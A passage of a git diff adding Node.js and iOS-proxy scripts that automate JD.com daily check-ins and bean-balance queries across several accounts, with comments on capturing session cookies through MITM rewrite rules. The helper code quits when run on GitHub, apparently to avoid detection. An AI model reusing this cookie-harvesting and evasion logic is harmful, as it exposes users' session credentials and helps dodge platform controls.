CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + // $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + // console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.expirejingdou = 0; + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + // console.log(data) + if (data.ret === 0) { + data['expirejingdou'].map(item => { + // console.log(`${timeFormat(item['time'] * 1000)}日过期京豆:${item['expireamount']}\n`); + $.expirejingdou += item['expireamount']; + }) + // if ($.expirejingdou > 0) { + // $.message += `\n今日将过期:${$.expirejingdou}京豆 🐶`; + // } + } + } else { + // console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + // console.log(e); + // $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_bean_sign.js b/jd_bean_sign.js new file mode 100644 index 0000000..469f3a3 --- /dev/null +++ b/jd_bean_sign.js @@ -0,0 +1,2066 @@ +/* +Node.JS专用 +cron 0 0 * * * jd_bean_sign.js +金融签到有一定使用门槛,需要请仔细阅读下方文字: +JRBODY抓取网站:ms.jr.jd.com/gw/generic/hy/h5/m/appSign(进入金融APP签到页面手动签到);抓取请求body,格式:"reqData=xxx" +变量填写示例:JRBODY: reqData=xxx&reqData=xxx&&reqData=xxx(比如第三个号没有,则留空,长度要与CK一致) + +强烈建议用文件,环境变量太长了 +云函数用户在config分支新建diy/JRBODY.txt即可(也就是diy文件夹下新建JRBODY.txt).每行一个jrbody,结尾行写'Finish' +例子: +reqData=xxx +(这个号没有,这行空着) +reqData=xxx +Finish + +其他环境用户除了JRBODY环境变量可以选用JRBODY.txt文件,放在同目录下,格式同上. +注:优先识别环境变量,如使用txt文件请不要设置环境变量.JRBODY换行符(应为unix换行符)可能影响脚本读取! + +出现任何问题请先删除CookieSet.json(云函数不用操作) +云函数提示写入失败正常,无任何影响 + */ +console.log('京东多合一签到SCF开始') +const sendNotify = require('./sendNotify.js').sendNotify +const fs = require('fs') +const jr_file = 'JRBODY.txt' +const readline = require('readline') +let cookiesArr = [] +let notification = '' +const stopVar = process.env.JD_BEAN_STOP ? process.env.JD_BEAN_STOP : '2000-5000'; +console.log('Stop:',stopVar) + +async function processLineByLine(jrbodys) { + const fileStream = fs.createReadStream(jr_file) + const rl = readline.createInterface({ + input: fileStream, + crlfDelay: Infinity + }) + for await (let line of rl) { + line = line.trim() + if (line == 'Finish'){ + console.log(`识别到读取结束符号,结束.共读取${jrbodys.length}个`) + return + } + jrbodys.push(line) + } +} +(async () => { + const jdCookieNode = require('./jdCookie.js') + Object.keys(jdCookieNode).forEach((item) => { + let ck = jdCookieNode[item].trim() + if(ck.substring(ck.length-1) !== ';'){ + ck = ck + ';' + } + cookiesArr.push(ck) + }) + let jrbodys = [] + if(process.env.JRBODY) { + jrbodys = process.env.JRBODY.split('&') + }else{ + console.log(`未检测到JRBODY环境变量,开始检测${jr_file}`) + try { + await fs.accessSync('./'+jr_file, fs.constants.F_OK) + console.log(`${jr_file} '存在,读取配置'`) + await processLineByLine(jrbodys) + } catch (err) { + console.log(`${jr_file} '不存在,跳过'`) + } + } + if (jrbodys.length != cookiesArr.length) { + console.error(`CK和JRBODY长度不匹配,不使用JRBODY,请阅读脚本开头说明.当前ck长度:${cookiesArr.length},JRBODY长度:${jrbodys.length}`) + jrbodys = undefined + } + for (let i = 0; i < cookiesArr.length; i++) { + const data = { + 'cookie':cookiesArr[i] + } + if (jrbodys) { + if(jrbodys[i].startsWith('reqData=')){ + data['jrBody'] = jrbodys[i] + }else{ + console.log(`跳过第${i+1}个JRBODY,为空或格式不正确`) + } + } + cookiesArr[i] = data + } + console.log('main block finished') +})() +.then(() => { +console.log('Nobyda签到部分开始') +/************************* + +京东多合一签到脚本 + +更新时间: 2021.09.09 20:20 v2.1.3 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +************************* +【 QX, Surge, Loon 说明 】 : +************************* + +初次使用时, app配置文件添加脚本配置, 并启用Mitm后: + +Safari浏览器打开登录 https://home.m.jd.com/myJd/newhome.action 点击"我的"页面 +或者使用旧版网址 https://bean.m.jd.com/bean/signIndex.action 点击签到并且出现签到日历 +如果通知获取Cookie成功, 则可以使用此签到脚本. 注: 请勿在京东APP内获取!!! + +获取京东金融签到Body说明: 正确添加脚本配置后, 进入"京东金融"APP, 在"首页"点击"签到"并签到一次, 待通知提示成功即可. + +由于cookie的有效性(经测试网页Cookie有效周期最长31天),如果脚本后续弹出cookie无效的通知,则需要重复上述步骤。 +签到脚本将在每天的凌晨0:05执行, 您可以修改执行时间。 因部分接口京豆限量领取, 建议调整为凌晨签到。 + +BoxJs或QX Gallery订阅地址: https://raw.githubusercontent.com/NobyDa/Script/master/NobyDa_BoxJs.json + +************************* +【 配置多京东账号签到说明 】 : +************************* + +正确配置QX、Surge、Loon后, 并使用此脚本获取"账号1"Cookie成功后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"获取即可; 账号3或以上同理. +注: 如需清除所有Cookie, 您可开启脚本内"DeleteCookie"选项 (第114行) + +************************* +【 JSbox, Node.js 说明 】 : +************************* + +开启抓包app后, Safari浏览器登录 https://home.m.jd.com/myJd/newhome.action 点击个人中心页面后, 返回抓包app搜索关键字 info/GetJDUserInfoUnion 复制请求头Cookie字段填入json串数据内即可 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = JSON.stringify(cookiesArr); //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + +/*以下样例为双账号("cookie"为必须,其他可选), 第一个账号仅包含Cookie, 第二个账号包含Cookie和金融签到Body: + +var OtherKey = `[{ + "cookie": "pt_key=xxx;pt_pin=yyy;" +}, { + "cookie": "pt_key=yyy;pt_pin=xxx;", + "jrBody": "reqData=xxx" +}]` + + 注1: 以上选项仅针对于JsBox或Node.js, 如果使用QX,Surge,Loon, 请使用脚本获取Cookie. + 注2: 多账号用户抓取"账号1"Cookie后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"抓取. + 注3: 如果使用Node.js, 需自行安装'request'模块. 例: npm install request -g + 注4: Node.js或JSbox环境下已配置数据持久化, 填写Cookie运行一次后, 后续更新脚本无需再次填写, 待Cookie失效后重新抓取填写即可. + 注5: 脚本将自动处理"持久化数据"和"手动填写cookie"之间的重复关系, 例如填写多个账号Cookie后, 后续其中一个失效, 仅需填写该失效账号的新Cookie即可, 其他账号不会被清除. + +************************* +【Surge 4.2+ 脚本配置】: +************************* + +[Script] +京东多合一签到 = type=cron,cronexp=5 0 * * *,wake-system=1,timeout=60,script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +获取京东Cookie = type=http-request,requires-body=1,pattern=^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?),script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【Loon 2.1+ 脚本配置】: +************************* + +[Script] +cron "5 0 * * *" tag=京东多合一签到, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +http-request ^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?) tag=获取京东Cookie, requires-body=true, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【 QX 1.0.10+ 脚本配置 】 : +************************* + +[task_local] +# 京东多合一签到 +5 0 * * * https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js, tag=京东多合一签到, img-url=https://raw.githubusercontent.com/NobyDa/mini/master/Color/jd.png,enabled=true + +[rewrite_local] +# 获取京东Cookie. +^https:\/\/(api\.m|me-api)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?) url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +# 获取钢镚签到body. +^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\? url script-request-body https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[mitm] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +*************************/ + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = stopVar; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + // JingDongStore(stop), //京东超市 + JingRongSteel(stop, jrBody), //金融钢镚 + // JingDongTurn(stop), //京东转盘 + // JDFlashSale(stop), //京东闪购 + // JingDongCash(stop), //京东现金红包 + // JDMagicCube(stop, 2), //京东小魔方 + // JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + // JingDongShake(stop), //京东摇一摇 + JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + // JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + // JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + // JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + // JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + // JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + // JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + // JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + // JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + // JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + // JDUserSignPre(stop, 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'), //失眠补贴 + // JDUserSignPre(stop, 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'), //手机小时达 + // JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + // JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + // JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + // JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + // JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + // JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + // JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + // JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + // JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + // JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + // await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + // await JingDongTurn(Wait(stop)); //京东转盘 + // await JDFlashSale(Wait(stop)); //京东闪购 + // await JingDongCash(Wait(stop)); //京东现金红包 + // await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + // await JingDongSubsidy(Wait(stop)); //京东金贴 + // await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + // await JDUserSignPre(Wait(stop), 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'); //失眠补贴 + // await JDUserSignPre(Wait(stop), 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'); //手机小时达 + // await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + // await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + // await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + // await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + // await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + // await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + // await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + // await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + // await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + // await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + // await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', 